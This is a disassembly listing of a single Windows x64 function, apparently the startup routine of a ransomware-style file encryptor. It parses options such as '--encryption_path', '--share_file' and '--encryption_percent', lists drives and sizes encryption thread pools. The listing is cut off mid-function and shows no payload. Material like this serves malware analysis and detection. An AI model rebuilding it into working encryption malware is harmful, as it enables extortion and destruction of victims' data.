Function at 0x14004c020
Capabilities:
Accept command line arguments
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x850]
sub rsp, 0x950
mov rax, qword [0x1400e4328]
xor rax, rsp
mov qword [rbp + 0x840], rax
lea rcx, [rbp + 0x698]
call fcn.1400931c4
lea rcx, [rbp + 0x698]
call fcn.140092ad8
mov r9, rax
lea r8, str.Log__d__m__Y__H__M__S
mov edx, 0x50
lea rcx, [rbp + 0x7f0]
call fcn.140092f18
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
xor r13d, r13d
mov qword [rbp + 0x6b0], r13
mov qword [rbp + 0x6b8], r13
lea rax, [rbp + 0x7f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x14004c0b4
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x6a0]
call fcn.140036db0
lea rdx, [rbp + 0x6a0]
call fcn.14004bcd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r13w
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], 7
mov word [rbp + 0x5e0], r13w
movups xmmword [rbp + 0x5b8], xmm0
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], 7
mov word [rbp + 0x5b8], r13w
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x5d8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
xorps xmm0, xmm0
test rax, rax
je 0x14004da22
xor eax, eax
mov qword [rbp + 0x662], rax
mov dword [rbp + 0x66a], eax
mov word [rbp + 0x66e], ax
movdqa xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], r13
mov qword [rbp + 0x620], r13
lea ecx, [rax + 0x60]
call fcn.140083390
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x618], rax
mov qword [rbp + 0x628], r13
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x630], xmm0
mov qword [rbp + 0x648], r13
mov ecx, 0x40
call fcn.140083390
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x658], r13
mov ecx, 0x40
call fcn.140083390
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x650], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x678], 7
mov word [rbp + 0x660], r13w
movsxd rdx, dword [rbp + 0x5d8]
mov r8, rsi
lea rcx, [rbp + 0x600]
call fcn.140053340
lea rax, [0x1400ca954]
mov qword [rbp + 0x78], rax
lea rax, str.__encryption_path
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x170], xmm0
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x600]
call fcn.14004e820
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xf8]
call fcn.14004f7a0
mov rdx, qword [rbp + 0x598]
cmp rdx, 8
jb 0x14004c2fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c2f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc51
call fcn.14008361c
movups xmm0, xmmword [rbp + 0xf8]
movups xmmword [rbp + 0x580], xmm0
movups xmm1, xmmword [rbp + 0x108]
movups xmmword [rbp + 0x590], xmm1
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], 7
mov word [rbp + 0xf8], r13w
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x240], r14
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x23c], edx
lea rcx, [rbp + 0x250]
call fcn.14004e490
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x240], r12
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x23c], edx
lea rdi, vtable.std::ios_base.0
mov qword [rbp + 0x2d0], rdi
lea rcx, [rbp + 0x2d0]
call fcn.140078510
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
mov r8d, 2
lea rdx, [0x1400ca978]
lea rcx, [rbp + 0x98]
call fcn.140044270
mov rbx, qword [rbp + 0x640]
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x1a0]
call fcn.14004f9c0
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.140054650
mov r15, rax
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 8
jb 0x14004c45d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc57
call fcn.14008361c
mov rdx, qword [rbp + 0xb0]
cmp rdx, 8
jb 0x14004c4a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c49e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc5d
call fcn.14008361c
lea rax, [0x1400ca9c4]
mov qword [rbp + 0x88], rax
lea rax, str.__share_file
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x180], xmm0
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x600]
call fcn.14004e820
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xd8]
call fcn.14004f7a0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 8
jb 0x14004c554
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c54f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc63
call fcn.14008361c
movups xmm0, xmmword [rbp + 0xd8]
movups xmmword [rbp + 0x5e0], xmm0
movups xmm1, xmmword [rbp + 0xe8]
movups xmmword [rbp + 0x5f0], xmm1
mov qword [rbp + 0xe8], r13
mov qword [rbp + 0xf0], 7
mov word [rbp + 0xd8], r13w
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], r14
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x32c], edx
lea rcx, [rbp + 0x340]
call fcn.14004e490
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], r12
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x32c], edx
mov qword [rbp + 0x3c0], rdi
lea rcx, [rbp + 0x3c0]
call fcn.140078510
nop
lea rax, [0x1400ca9fc]
mov qword [rsp + 0x70], rax
lea rax, str.__encryption_percent
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x570], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x578], rax
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x190], xmm0
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x600]
call fcn.14004e820
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x130]
call fcn.14004f7a0
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 8
jb 0x14004c6ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c6a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc69
call fcn.14008361c
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x5c8], xmm1
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], r13w
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x420], r14
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x41c], edx
lea rcx, [rbp + 0x430]
call fcn.14004e490
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x420], r12
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x41c], edx
mov qword [rbp + 0x4b0], rdi
lea rcx, [rbp + 0x4b0]
call fcn.140078510
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xa
lea rdx, str._localonly
lea rcx, [rsp + 0x30]
call fcn.140044270
mov rdi, qword [rbp + 0x640]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x150]
call fcn.14004f9c0
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.140054650
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x168]
cmp rdx, 8
jb 0x14004c7ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c7e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc6f
call fcn.14008361c
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14004c830
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c82b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc75
call fcn.14008361c
mov rdx, qword [rbp + 0x678]
cmp rdx, 8
jb 0x14004c876
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc7b
call fcn.14008361c
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x678], 7
mov word [rbp + 0x660], r13w
mov r8, qword [rbp + 0x650]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x650]
call fcn.14005bf80
mov edx, 0x40
mov rcx, qword [rbp + 0x650]
call fcn.14008361c
mov r8, qword [rbp + 0x640]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x640]
call fcn.14005bf80
mov edx, 0x40
mov rcx, qword [rbp + 0x640]
call fcn.14008361c
lea rcx, [rbp + 0x628]
call fcn.140043c40
lea rcx, [rbp + 0x618]
call fcn.14004e7b0
lea rcx, [rbp + 0x600]
call fcn.140043c40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [rbp + 0x560], 0x32
cmp qword [rbp + 0x5c8], 0
je 0x14004c983
call fcn.1400931a4
mov r14, rax
lea rsi, [rbp + 0x5b8]
cmp qword [rbp + 0x5d0], 8
cmovae rsi, qword [rbp + 0x5b8]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp + 0x558]
mov rcx, rsi
call fcn.1400927b0
mov dword [rbp + 0x560], eax
cmp rsi, qword [rbp + 0x558]
je 0x14004dc81
cmp dword [r14], 0x22
je 0x14004dc8e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rax
lea rcx, [rbp + 0x5a0]
call fcn.140075da0
cmp rbx, r15
je 0x14004cad8
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xe
lea rdx, str.List_of_drives
lea rcx, [rsp + 0x30]
call fcn.140036db0
mov rcx, qword [0x1400ecdf8]
mov esi, 2
test rcx, rcx
je 0x14004ca03
lea r8, [rsp + 0x30]
mov edx, esi
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004ca03
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004ca40
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ca3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc9b
call fcn.14008361c
mov rbx, qword [rbp + 0x5a0]
mov rdi, qword [rbp + 0x5a8]
cmp rbx, rdi
je 0x14004d98b
mov rdx, rbx
lea rcx, [rbp + 0x150]
call fcn.140076040
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004ca8e
mov r8, rax
mov edx, esi
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004ca8e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x14004cacf
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004caca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dca1
call fcn.14008361c
add rbx, 0x28
jmp 0x14004ca4e
call fcn.140077c64
mov rbx, rax
call fcn.140077c48
cmp rbx, 0x989680
jne 0x14004caf4
imul rsi, rax, 0x64
jmp 0x14004cb0f
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
mov qword [rbp - 0x80], rsi
call fcn.14006e620
call fcn.1400702e0
call fcn.140071430
lea rcx, [rbp + 0x7c0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [rbp + 0x7e0]
test ebx, ebx
jne 0x14004cbd4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rbx + 0x11]
lea rdx, str.No_cpu_available_
lea rcx, [rsp + 0x30]
call fcn.140036db0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004cb8f
lea r8, [rsp + 0x30]
lea edx, [rbx + 4]
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004cb8f
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004d98b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d986
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc4b
jmp 0x14004d986
mov ecx, 0x30
call fcn.140083390
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, rax
call fcn.14007a330
mov r14, rax
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14004d8f8
lea rcx, [0x1400e5fb0]
call fcn.14008a798
mov edx, eax
mov r9b, 1
lea r8, [0x1400e4fb0]
mov rcx, r14
call fcn.14007ab30
test eax, eax
jne 0x14004d8f8
mov qword [rbp + 0x550], r14
cmp ebx, 4
jg 0x14004cc45
cmp ebx, 1
mov eax, 2
cmove ebx, eax
add ebx, ebx
imul ecx, ebx, 0x1e
mov eax, 0x51eb851f
imul ecx
mov r8d, edx
sar r8d, 5
mov ecx, r8d
shr ecx, 0x1f
add r8d, ecx
mov dword [rsp + 0x54], r8d
lea ecx, [rbx + rbx*4]
add ecx, ecx
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x50], edx
mov eax, 1
jne 0x14004cc8b
mov dword [rsp + 0x50], eax
mov edx, eax
sub ebx, r8d
sub ebx, edx
mov dword [rsp + 0x58], ebx
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x1c0]
call fcn.14003d6d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x25
jb 0x14004cd41
lea rax, [r8 + 0x25]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x14004ccd4
mov r14, qword [rbx]
lea rax, [0x1400caa8d]
mov r13d, 0x25
lea r12, str.Number_of_thread_to_folder_parsers_
cmp rax, r14
jbe 0x14004cd08
lea rax, [r14 + r8]
cmp r12, rax
ja 0x14004cd08
cmp r14, r12
ja 0x14004cd00
xor r15d, r15d
jmp 0x14004cd0b
mov r15, r14
sub r15, r12
jmp 0x14004cd0b
mov r15, r13
inc r8
lea rcx, [r14 + 0x25]
mov rdx, r14
call fcn.140085980
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.140085980
sub r13, r15
lea rdx, [r12 + 0x25]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.140085980
jmp 0x14004cd66
mov r13d, 0x25
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_thread_to_folder_parsers_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.14003f390
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r14d, r14d
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004cdc1
lea r8, [rbp]
lea edx, [r14 + 2]
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004cdc1
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14004cdfc
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cdf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dca7
call fcn.14008361c
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r14b
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14004ce4d
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ce48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dca7
call fcn.14008361c
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.14003d6d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x2a
jb 0x14004cefd
lea rax, [r8 + 0x2a]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x14004ce8d
mov r14, qword [rbx]
lea rax, [0x1400caaf2]
mov r13d, 0x2a
lea r12, str.Number_of_thread_to_root_folder_parsers_
cmp rax, r14
jbe 0x14004cec1
lea rax, [r14 + r8]
cmp r12, rax
ja 0x14004cec1
cmp r14, r12
ja 0x14004ceb9
xor r15d, r15d
jmp 0x14004cec4
mov r15, r14
sub r15, r12
jmp 0x14004cec4
mov r15, r13
inc r8
lea rcx, [r14 + 0x2a]
mov rdx, r14
call fcn.140085980
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.140085980
sub r13, r15
lea rdx, [r12 + 0x2a]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.140085980
xor r14d, r14d
jmp 0x14004cf22
mov r13d, 0x2a
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_thread_to_root_folder_parsers_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.14003f390
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004cf7b
lea r8, [rbp - 0x20]
mov edx, 2
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004cf7b
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14004cfb6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cfb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcad
call fcn.14008361c
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x14004d007
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d002
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcad
call fcn.14008361c
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x200]
call fcn.14003d6d0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x1f
jb 0x14004d0b7
lea rax, [r8 + 0x1f]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x14004d047
mov r14, qword [rbx]
lea rax, [0x1400caac7]
mov r13d, 0x1f
lea r12, str.Number_of_threads_to_encrypt_
cmp rax, r14
jbe 0x14004d07b
lea rax, [r14 + r8]
cmp r12, rax
ja 0x14004d07b
cmp r14, r12
ja 0x14004d073
xor r15d, r15d
jmp 0x14004d07e
mov r15, r14
sub r15, r12
jmp 0x14004d07e
mov r15, r13
inc r8
lea rcx, [r14 + 0x1f]
mov rdx, r14
call fcn.140085980
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.140085980
sub r13, r15
lea rdx, [r12 + 0x1f]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.140085980
xor r14d, r14d
jmp 0x14004d0dc
mov r13d, 0x1f
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_threads_to_encrypt_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.14003f390
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d135
lea r8, [rbp - 0x40]
mov edx, 2
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d135
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14004d170
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d16b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcb3
call fcn.14008361c
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14004d1c1
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d1bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcb3
call fcn.14008361c
mov ecx, 0x180
call fcn.140083390
mov r15, rax
mov qword [rbp + 0x40], rax
mov r12d, 1
mov dword [rax + 8], r12d
mov dword [rax + 0xc], r12d
lea rax, vtable.std::_Ref_count_obj2_class_ThreadPool_.0
mov qword [r15], rax
lea r13, [r15 + 0x10]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov rcx, r13
call fcn.140072e90
test r13, r13
je 0x14004d272
mov rax, qword [r13 + 8]
test rax, rax
je 0x14004d213
cmp dword [rax + 8], 0
jne 0x14004d272
lock inc dword [r15 + 8]
lock inc dword [r15 + 0xc]
mov qword [r13], r13
mov rcx, qword [r13 + 8]
mov qword [r13 + 8], r15
mov rbx, 0xffffffffffffffff
test rcx, rcx
je 0x14004d247
mov eax, ebx
lock xadd dword [rcx + 0xc], eax
cmp eax, r12d
jne 0x14004d247
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, ebx
lock xadd dword [r15 + 8], eax
cmp eax, r12d
jne 0x14004d272
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
mov eax, ebx
lock xadd dword [r15 + 0xc], eax
cmp eax, r12d
jne 0x14004d272
mov rax, qword [r15]
mov rcx, r15
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x570]
call fcn.140053800
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
cmp qword [rbp + 0x5f0], 0
je 0x14004d375
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x5e0]
call fcn.1400413d0
test al, al
jne 0x14004d375
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xor r13d, r13d
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r13
lea r8d, [r13 + 0x1b]
lea rdx, str.Failed_to_read_share_files_
lea rcx, [rbp + 0xb8]
call fcn.140036db0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d328
lea r8, [rbp + 0xb8]
lea edx, [r13 + 4]
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d328
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x14004d369
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d364
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcb9
call fcn.14008361c
mov r14, qword [rbp + 0x578]
jmp 0x14004d875
cmp qword [rbp + 0x590], 0
je 0x14004d446
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x564]
call fcn.140042060
cmp byte [rbp + 0x564], 0
jne 0x14004d5df
movzx eax, byte [rbp + 0x565]
cmp rdi, qword [rbp - 0x70]
je 0x14004d3b8
test al, al
jne 0x14004d5df
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rbp + 0x590]
movups xmmword [rbp + 0x230], xmm1
mov qword [rbp + 0x590], r14
